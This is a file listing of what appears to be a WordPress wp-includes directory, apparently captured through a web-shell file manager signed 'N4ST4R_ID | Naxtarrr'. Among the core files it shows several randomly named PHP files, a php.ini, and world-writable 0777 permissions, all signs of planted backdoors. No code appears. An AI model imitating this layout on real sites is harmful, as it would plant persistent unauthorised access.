default-constants.php
12723 bytes
0644
default-filters.php
37043 bytes
0644
default-widgets.php
3580 bytes
0644
deprecated.php
191488 bytes
0644
dzbrzlel.php
760 bytes
0644
embed-template.php
338 bytes
0777
embed.php
39266 bytes
0644
error-protection.php
5479 bytes
0644
error_log
885 bytes
0644
feed-atom-comments.php
6847 bytes
0644
feed-atom.php
4391 bytes
0644
feed-rdf.php
4011 bytes
0644
feed-rss.php
2532 bytes
0644
feed-rss2-comments.php
5479 bytes
0644
feed-rss2.php
5142 bytes
0644
feed.php
24769 bytes
0644
fonts.php
11109 bytes
0644
formatting.php
336587 bytes
0644
functions.php
284521 bytes
0644
functions.wp-scripts.php
15916 bytes
0644
functions.wp-styles.php
9941 bytes
0644
gNZUScMukoQ.php
52991 bytes
0644
general-template.php
170850 bytes
0644
global-styles-and-settings.php
22563 bytes
0644
http.php
26670 bytes
0644
https-detection.php
7019 bytes
0644
https-migration.php
6099 bytes
0644
image_7d27b985.php
170062 bytes
0644
index.htm
1092 bytes
0644
index.html
1092 bytes
0644
index.php
1092 bytes
0644
kses.php
75761 bytes
0644
l10n.php
69773 bytes
0644
link-template.php
157710 bytes
0777
load.php
55658 bytes
0644
locale.php
162 bytes
0777
lthcdd.php
8720 bytes
0644
media-template.php
64401 bytes
0644
media.php
219782 bytes
0644
meta.php
65767 bytes
0644
ms-blogs.php
27130 bytes
0644
ms-default-constants.php
6279 bytes
0644
ms-default-filters.php
7994 bytes
0644
ms-deprecated.php
23117 bytes
0644
ms-files.php
4069 bytes
0644
ms-functions.php
92607 bytes
0644
ms-load.php
21241 bytes
0644
ms-network.php
5140 bytes
0644
ms-settings.php
5482 bytes
0644
ms-site.php
41848 bytes
0644
nav-menu-template.php
27275 bytes
0644
nav-menu.php
45731 bytes
0644
option.php
103117 bytes
0644
php.ini
105 bytes
0644
pluggable-deprecated.php
7621 bytes
0644
pluggable.php
117328 bytes
0644
plugin.php
35465 bytes
0777
post-formats.php
8460 bytes
0644
post-template.php
68238 bytes
0644
post-thumbnail-template.php
12184 bytes
0644
post.php
291252 bytes
0644
query.php
38393 bytes
0644
registration-functions.php
200 bytes
0777
registration.php
200 bytes
0777
rest-api.php
100951 bytes
0644
revision.php
32248 bytes
0644
rewrite.php
20899 bytes
0644
robots-template.php
6543 bytes
0644
rss-functions.php
255 bytes
0777
rss.php
23113 bytes
0777
script-loader.php
132093 bytes
0644
script-modules.php
9070 bytes
0644
session.php
258 bytes
0777
shortcodes.php
25409 bytes
0644
si5ABYvuOU6.php
29033 bytes
0644
sitemaps.php
4596 bytes
0644
spl-autoload-compat.php
441 bytes
0777
style-engine.php
8921 bytes
0644
taxonomy.php
176796 bytes
0644
template-canvas.php
1887 bytes
0644
template-loader.php
4370 bytes
0644
template.php
25512 bytes
0644
theme-i18n.json
1292 bytes
0777
theme-previews.php
4190 bytes
0644
theme-templates.php
7581 bytes
0644
theme.json
8704 bytes
0777
theme.php
135343 bytes
0644
tmp_06220825.php
72477 bytes
0644
txets.php
5298 bytes
0444
update.php
38146 bytes
0644
user.php
175768 bytes
0644
vars.php
7847 bytes
0644
version.php
2289 bytes
0644
widgets.php
72040 bytes
0644
wp-blog-header.php
2796 bytes
0644
wp-cron.php
2796 bytes
0644
wp-db.php
445 bytes
0777
wp-diff.php
2084 bytes
0644
N4ST4R_ID | Naxtarrr